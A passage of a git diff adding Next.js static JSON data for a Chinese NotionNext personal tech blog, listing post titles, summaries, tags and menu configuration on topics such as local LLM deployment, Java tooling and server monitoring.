pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/docker.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/docker.json new file mode 100644 index 000000000..853004bbb --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/docker.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id"